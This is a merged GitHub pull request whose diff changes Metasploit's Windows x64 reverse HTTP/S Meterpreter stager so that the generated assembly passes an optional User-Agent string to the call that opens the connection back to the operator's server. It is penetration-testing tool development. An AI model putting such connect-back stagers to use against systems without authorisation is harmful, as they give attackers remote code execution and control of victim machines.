Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ensure Windows x64 Meterpreter HTTP/S Payloads Include the User Agent Header #19726

Merged
merged 1 commit into from
Dec 16, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 15 additions & 2 deletions lib/msf/core/payload/windows/x64/reverse_http_x64.rb
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ def generate(opts={})
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
end

generate_reverse_http(conf)
end

Expand Down Expand Up @@ -168,6 +168,7 @@ def asm_generate_ascii_array(str)
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Integer] :port The port to connect to
# @option opts [String] :ua The User Agent the payload will use
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Integer] :proxy_port The optional proxy server port to use
Expand Down Expand Up @@ -245,9 +246,21 @@ def asm_reverse_http(opts={})
internetopen:
push rbx ; stack alignment
push rbx ; NULL pointer
mov rcx, rsp ; lpszAgent ("")
^

if opts[:ua]
asm << %Q^
call load_useragent
db"#{opts[:ua]}", 0x00
load_useragent:
pop rcx ; lpszAgent (stack pointer)
^
else
asm << %Q^
mov rcx, rsp ; lpszAgent("")
^
end

if proxy_enabled
asm << %Q^
push 3
Expand Down
Loading